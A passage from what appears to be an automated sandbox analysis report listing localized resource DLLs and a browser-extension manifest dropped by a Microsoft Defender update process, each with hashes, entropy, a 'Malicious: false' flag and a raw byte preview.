@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!.....
.I............................................................................................................................................................................................................................................................................
.............................................
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C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 29928

Entropy (8bit): 4.970820382866816

Encrypted: false

SSDEEP: 768:7rAjdTb3dD4GbRVgWV9Hw2b4HX4bi2KwNDFWhGWD3IDRU0MZ8HoR1PX6Lz:Yj0KoHPKf

MD5: 0EC7F6A6BDC86183AA58893F948989A2

SHA1: ABFAB912AF53106A82CD50158EB147F5EC4A3456

SHA-256: 02FC3320529F9A51D88030CE7C03AC3A62517B8141768FE001B995DCFBB202F4

SHA-512: CD6FC83F8F2A5F676ED60655BB607D2D6DA7D4A274A809D1CAB0854B2257E20CD7D4E0D0FC0C1A1AFD4D2E99F8F0A99A7B89C2C2EDF2F741F7DED7B3AE1DF
AD1

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........R
...............................................p.......S....@.......................................... ...N...........T... ...........................................................................................rdata..p...........................
@..@.rsrc....N... ...P..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..8J...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\com.microsoft.defender.be.chrome.json
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 350

Entropy (8bit): 4.8011887903612696

Encrypted: false

SSDEEP: 6:3HWSjKNde/Ott+dmvVnEuLrORVCqwvFFaFlLulkNCB+SrxxLxeNCWHyLIo:L2kO+WnEeMOUlLAjB/1N/0o

MD5: 60A2FC65D3CC1D3DE9ECD2C5319738FC

SHA1: 873D18E03523BBE80D1410AA475ED6CC2DAF0D9D

SHA-256: 6C6F52B13235148AF305BD614779EA885C00B64D0BB7CC764E3C67198CC524A2

SHA-512: 36E8930108DA1B953DC07809A9E670F923A4F07EAC9AD2A229844E556595CE7383F35001E43AA6877FF42D9BD42C55BB2BF0ED05E058D4E8CFF65E6B2B7A7BF
D

Malicious: false

Reputation: unknown

Preview:
{..  "name": "com.microsoft.defender.browser_extension.native_message_host",..  "description": "Native host for Microsoft Defender Browser Extension",..  "path": 
"mpextms.exe",..  "type": "stdio",..  "allowed_origins": [..    "chrome-extension://echcggldkblhodogklpincgchnpgcdco/",..    "chrome-extension://lcmcgbabdcbngcbcfabdncm
oppkajglo/"..  ]..} 

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 62696

Entropy (8bit): 4.4300925979744425

Encrypted: false

SSDEEP: 768:7rpChXzlbrS2tVdqSp3wbjfKMoW4EEEddewzR1PiM5md:hChXz1Lf04SjfKMoW4t8ewzHPlmd

MD5: 71EA670E1886321DDDDF005D7B47A7FD

SHA1: FB9AA4F04C6744123C2E38DE746983C1B82A6F00

SHA-256: BC031DC51AE7128AEE1ADCCDA0F7ACC9EB3BBE8DE121B206B0E9801E956F82B7

SHA-512: 3BB516F32FC0516DE97CB520AED0E3976BC201183144AF54FF392BB73237767C50794F923C84E738D82A7430C6660EE7301891CACD1517F17DBB6C6391B46070

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
......................................................+.....@.......................................... ..l................ ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!.....
.I............................................................................................................................................................................................................................................................................
.............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\MpEvMsg.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 53496

Entropy (8bit): 4.606804840809272

Encrypted: false
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SSDEEP: 768:7rdMyciFk6/zRyodW7/obSxnjEBIR1PbzT:lMyciFk6/zRy+bSxjwIHPPT

MD5: C40C173214A061E8BCDF28F6328CAD40

SHA1: A525D0203A18D9011712A7F6AD89FD84D90B5747

SHA-256: 17B281694628800A6B1541826B912F8FF0788D171A900F6DF4BA8A6AC01B3A46

SHA-512: B72D26D86B1D28308686A1DD0AE513594D9875AD809C891B9B063220748470154846339D25C89B4EC904F838AD47B0438EB22925CD7C2E70C3686961476760AC

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
............................................................@.......................................... ................... ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]
..............................................................................................................................................................................................................................................................................
............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\MpEvMsg.dll.mui

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 28408

Entropy (8bit): 5.215365684019082

Encrypted: false

SSDEEP: 768:7rIXE4QWX0YNoE8gZ04pC5DbUV4qFR1Peizz:Q04QWX0YNojgZ04pC5DbUV4qFHPeYz

MD5: FFE6628B2AD343CDA7FDFEF38B84B48C

SHA1: 36A72C17996D63635B184CDEC836022A2FD275C7

SHA-256: B5E81F2E96B81367B16D77BDB21FF45C92B880DF501AD17FEE4F8B1E756C636D

SHA-512: B20694CA2B5E009BCD981C8FD3E95CF25E16E9293001CCCB53DEC2ABDE6A31535F9213492279BB9527DF0A86B0489DAB7014F3F2A67A3D6D26F26DD1B942B48
1

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........L
...............................................p.......7....@.......................................... ..DH...........N... ...........................................................................................rdata..p...........................
@..@.rsrc...DH... ...J..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...C...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cy-GB\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 30456

Entropy (8bit): 4.937872667222882

Encrypted: false

SSDEEP: 384:7r9i3aB5tg/hPb1Y2YQYTZYxgaM3cNqng73m3cX3u3cjgTyTKT3TsjxTPTBTnTb2:7rhXP9KV7XcdLks3yRR1Pgz3

MD5: CF1FB8FA2725C2DC530AE045F1ED8A6B

SHA1: B64794C057E7F9F1F4A5DB0A9164FE21EFB32151

SHA-256: EEB5D85389F768042AFEB2B1203BCC151069F53DAFED28DB404122013041241F

SHA-512: 259CC37B8488D7B9244450864F4AD2ABDC9A7C8355833F5A1628D5DC4A3123A2FCDBDCC2B8169DA2613527D8885C081915651B41228DEDAC6E5E70D1CC4F9C4
D

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........T
......................................................fT....@.......................................... ..TQ...........V... ...........................................................................................rdata..p...........................
@..@.rsrc...TQ... ...R..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...L...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 63720

Entropy (8bit): 4.2102783984881755

Encrypted: false

SSDEEP: 768:7rRXQqbVuA8rmOXbO5OKi9OUsUR1P11zf:JXQqBuA8b6UHPPf

MD5: BB1447340673FA9F6B96A9987290F278

SHA1: C43D250E3BEF83C88A2BB5EA7FA68F54895C2FA5
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SHA-256: A166D52AA0AB379DE33CF5796A5B1861246A36BB8B17D8C87E0F0529338C0AC3

SHA-512: F0D83F03C31E45C079E1ADE32A4801A6C5B8F71D23421E6D08C655E1216F4A6A3E58F8930C1F3D72CAB8FF25536017D2F1D458FCB97FB848E83830B331A3C3C4

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
.......................................................K....@.......................................... ..T................ ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!.....
.I............................................................................................................................................................................................................................................................................
.............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\MpAsDesc.dll.mui

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\MpEvMsg.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 54520

Entropy (8bit): 4.3994496582380975

Encrypted: false

SSDEEP: 384:7rpjcx80WKqt9o5uDwepIRXVCQECoz0NKERDH9rLdGtKWfwLW6RDBRJiOhl95UN:7rWxnkErR1PZzUN

MD5: 849192FB21F761073C9ED4A3F5BD4688

SHA1: A9AAA641C02833616CC0165FA47499DFC1269D7A

SHA-256: 1EAC8A8C05B8AAFB4505A7828D7E7F98567BD0C71DEE4E08AF467F31D34A9828

SHA-512: F5216D11DC25B246567A1F31B1613533EB57A28FC88AAF7D1064426D6E9488C597F5F3BC7DCA29D3FEC4D239EB86675476488EAE4309F239649740F9D739297E

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
......................................................V.....@.......................................... .................. ..............8............................................................................rdata..............................@
..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4].
..............................................................................................................................................................................................................................................................................
...........................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 28904

Entropy (8bit): 5.034399544515469

Encrypted: false

SSDEEP: 384:7rV9LJoeS3TVu8td5dCWS8/WtRDBRJjfVslGsJ/Qw:7r7LEVHJIR1PjzLw

MD5: C63C9C4C55D3B4172BADC2FB45014D5D

SHA1: DC46D629995E862BA72C80ADC45F62DAD3590728

SHA-256: 88346BDE6D5FC1C0CADFA5755944F466F8960C9CC17A5339851A2BAD42376C70

SHA-512: F838B0338C194BA2E820B10EC4E2397511AE61A14C6684AF99996DCABED5D225F9672BC4053DF9AAB6F2D586806908DC07BA43C2ADC191081C5F3E5D58E1485
D

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........N
...............................................p............@.......................................... ..XJ...........P... ...........................................................................................rdata..p...........................
@..@.rsrc...XJ... ...L..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...E...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 70392

Entropy (8bit): 4.18694461018496

Encrypted: false

SSDEEP: 1536:g9J3VugBgOPS611GRF9QRquPJAQ7GyHPvt:g9J3VugBgOPS611s/QRquRAQ7Ggd

MD5: FF00B121B166AB8E4857EABE4AAB9BCC

SHA1: 8CA305D4979F693BCC8425A972438A9074B92C5D

SHA-256: 9285FDDC5E40919E750A95C255588332876547495F6E245BAD983D612DAA4704

SHA-512: 2CC52CBB0EDCAD8BBAFD934E3B259048250F0DF4687FE8FC3F9B3764071F5E1E708FA870EB91D8868687F8A91677C9EBA287AAC195478C613042C97B33495286

Malicious: false

Reputation: unknown
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
............................................................@.......................................... ..@................ ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!.....
.I............................................................................................................................................................................................................................................................................
.............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\MpAsDesc.dll.mui

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\MpEvMsg.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 54504

Entropy (8bit): 4.451774666927673

Encrypted: false

SSDEEP: 768:7rBOW84CvPTO3VUtmUz8J0GXv3Y1VKLhR1P+pa:v84kt9qAohHP+pa

MD5: 7AF483C2AFFDD95213DDDC495D001DC0

SHA1: C65458CBD4209A7B09129D5FDD171C758D6A7991

SHA-256: 155EC9FBBE052BCCF189B89EF0F802DA48547D107A26A9E342BF9A23B4F1ADFF

SHA-512: 6DF51B3E38AFB35BCAA066F3DDD56497B9E104D768C5AB1348A82BB7F1B70ED332CACCF302699AA97CC3095252B915F209BAD52F2495A31210CF90DF1940205
F

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
......................................................S.....@.......................................... ..@................ ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]
..............................................................................................................................................................................................................................................................................
............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\ProtectionManagement.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 53480

Entropy (8bit): 5.4939020981100315

Encrypted: false

SSDEEP: 1536:OEH8Kt3U5Pfr9Y5BKqpdmXD6pyFJz1Z9YRHPdE:OKRmpYCmmXXZ9YdS

MD5: 381A9FC19B05718037AA3A552715C54F

SHA1: 01DC93DA9A279EBAC49E7564035849AE3EF4B151

SHA-256: EA4DDE3088A05BA4A894FB81A8ABF0769DB0A8F79F9D1E5E96BEB916610710C4

SHA-512: 423EDF0088AAF42334F097F7687D964E27293AB508AABDD5A3FF7A2F89E9AB4145FE7BE9FC9E0A00C450F8DBABA2F841252EA9A8A0F7845090E84AA17E5BD34
A

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
............................................................@.......................................... ................... ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@............l...........T...8...8.......l...........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....%..H....rsrc$02.... ...=..E.......'G.:3..t.E...
.R<l..........................................................................................................................................................................................................................................................................
.................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 31480

Entropy (8bit): 4.903514449361369

Encrypted: false

SSDEEP: 768:7rf5229Ah0vyaffaXQQOvR8PMFXNJSMbsHrWzxWaNnmeduHJJ17CpR1PPGLh:n5229Ah0vyaffaXQQOvR8PMFXNJSMbsT

MD5: 16C6FFA34E0C59EE77F916EBF9148AFC

SHA1: C82E4308AC0A909BF4387B86B62320DA9E1FEF51

SHA-256: 6EE8E608A103E991460B51D87AEFCA126EC8744642559B536F70330A848CFB08

SHA-512: 782A0BEE60D339B86A176201C84A8AE117458C1688AF3D0089696ED8124E2006676A91C15E117904FE1FBBF6E4F72D248E75086E9E24436E16CFE458E8521A8E

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........X
...........................................................@.......................................... ..@U...........Z... ...........................................................................................rdata..p...........................@
..@.rsrc...@U... ...V..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..xP...rsrc$02.............................................................
..............................................................................................................................................................................................................................................................................
.................................................
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C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\mpuxagent.dll.mui

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 75000

Entropy (8bit): 4.68621286355812

Encrypted: false

SSDEEP: 1536:c3yX1MSgKNnNL+/euj7eCMEE+gL8hKfGujCCaCa52HPJ:c3yX1MSgKNnNL+/euj7eCMEE+gL8hKfH

MD5: 53B61803FB8BDC469ED5D04FB8983233

SHA1: FB801EDEB5CCBE9E75C2CBA7A28FF05BFEEA270F

SHA-256: BE1609A94963D07A591C7D38947B28AE79A9D070385E70BD594A1DBD6DF7EB31

SHA-512: 678F7D40E6F54A481353FF0C7AA1C21FAEC66C8B05546CF9AC4B2372EED51918A53A0D4509C12A7DC6B8B2175A86C19C84C5274735560AA2B62B97347A5E2790

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
............................................... ............@.......................................... ................... ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!.....
.I............................................................................................................................................................................................................................................................................
.............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\MpEvMsg.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 60152

Entropy (8bit): 4.994721555651978

Encrypted: false

SSDEEP: 768:7rpd0tgeGeGsnEstzuFtGFil0a9+R1PEcz3:OgTsnPtzuFtGFil0i+HPF

MD5: 9B6F194F0D0EB1ED21B000E07B0CBDCD

SHA1: FB2E6FF6B553B1E25C142FBD5CF868B98A0E8C2F

SHA-256: E1A7E2391FFF39162293DD3AE201ADC393D8CC91E83A4B33C2C9A089EE69D203

SHA-512: F64454892E8E12A33A887CE930A6DFD708CDDD1F76CFEFD909D5AA6ECF0098DB49AC263F4DD2C601A7A12FEC6221F806C4035A5EC8C928CC785550D644720EB
0

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
......................................................(.....@.......................................... ................... ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]
..............................................................................................................................................................................................................................................................................
............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 30952

Entropy (8bit): 5.453443722839373

Encrypted: false

SSDEEP: 384:7rqYFfMlN2vyRBNd/gy0b5DYpOLjNB4Okn8OM3mnUJOeTPn5yLOe0FZQiJZhFD7a:7rP6EBZa2z6R1PV/rF

MD5: 222D67D112493530069E47CD64364BAF

SHA1: F4F6F74D62470C5301BDC537ADC451FEAFBCCEBD

SHA-256: B6E4B5BF805802069890DF5FD769D48F370620E607809E48E233C78EFE6F90F1

SHA-512: 4A8EEA2ADEDFC1E7267E13F369F50E17AE2A578E28CC15C248F54444925D0196F509F8FF16E8011DC30EB28A8A3E9620F0716E27B50D6933B1283433BF2A88F3

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........V
.......................................................^....@.......................................... ...S...........X... ...........................................................................................rdata..p...........................
@..@.rsrc....S... ...T..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..@N...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................
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C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-GB\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 58600

Entropy (8bit): 4.25269307683972

Encrypted: false

SSDEEP: 768:7rSJb3XsmqEiqcTr247sEBhEChEehELQRQ4hEYDGR1PYq:qJb3XDqZqc/7skv7rfGHPYq

MD5: 8DE66C308CA2A9340CC9E84F753FAA56

SHA1: 8D70F8339E74BD7730E0E876D3B23412CCB1DA63

SHA-256: AE6A41CA40A926287BCC94503AC9AD42568D6BB62B4CF2DF60F0599FA9E988FF

SHA-512: E0E6D0919E21049618E23F7850F83015A9EBB2A802EED22A9ED547421552F3BD2AD3B76BBC66966BA935EF5A152B235EB4A4D5C60379CCA4A2223D5514674ED6

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
...........................................................@.......................................... .................. ..............8............................................................................rdata..............................@.
.@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I
..............................................................................................................................................................................................................................................................................
...........................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-GB\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 27880

Entropy (8bit): 5.0955466583627835

Encrypted: false

SSDEEP: 384:7rTHD0EhR32NSWS8/W5RDBRJqH24rlGsQhJ+:7rbYhtMR1P26LQ

MD5: DD65190763621E8E1B642A4305D5E801

SHA1: D9BCFD1CBDC637B9F1211BADEF89F55B8C19D1E3

SHA-256: 8CBEC55311F2B7234D1FBD9C46AB6CF33A165610960132FE73C19FF725579658

SHA-512: C51D7DC6B9410AFE72BD2C65989469FFF3ED6B41C5D5C9ED1320EEAD78742B840CED18C2B479DB06959B9DF69F28C116B047AE8D4A5ABBF3AB9546713E878C
7D

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........J
...............................................p......R.....@.......................................... ...F...........L... ...........................................................................................rdata..p...........................
@..@.rsrc....F... ...H..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..HA...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 59128

Entropy (8bit): 4.293356301291751

Encrypted: false

SSDEEP: 768:7rxiJbyt33aEhrdTTm147vXahEzhEthEGQRQwhE3DbR1PR:5iJbytHa6rdd7vM+4ImbHPR

MD5: BC78A3B5260E268C292724EA573194F9

SHA1: 02D4A4E683609B5B61834520D27B138EF3F9F7C4

SHA-256: 2C4B8F48370B6ADEA49A21F2D89F2400E54C3EE937120152B50A94FFE5F5F7A9

SHA-512: 985B104584656A099A5C20C85C77488D2575CA518353DF585B99E37B0596A46BFF5C32DF197A823569BF6909755406C48B9D41861A1C4A947BF1FE616519AF90

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
............................................................@.......................................... ................... ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!.....
.I............................................................................................................................................................................................................................................................................
.............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\MpEvMsg.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 51944

Entropy (8bit): 4.448866330393985
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Encrypted: false

SSDEEP: 384:7rsorOioFEr4H1n3/Dtkby/g1mwhqfB9hyINcNkHoal34Y0wNl8yWucBW+RDBRJD:7rcBH1/b4Y0wNl8Cc5R1PeX8

MD5: 0D87F3932078B4049523B8CDD3EE5692

SHA1: EA172545FB8E872BE0FC9AF0B58C3FA8CAF6F970

SHA-256: 46022C8F7CC601BF73D231C213612BFAED0E95A76BC510DA08B7323EC1CCB2EE

SHA-512: 51CFF3304353B5992D63C2F0C1CA71ACD74E3A4E8EF009B525BD6720BA4BCEA83A212516E41E086AFDB74E7A36DE0E4674517CAD84D8EB2E7545E34773D3555
4

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
......................................................}(....@.......................................... ..$................ ..............8............................................................................rdata..............................
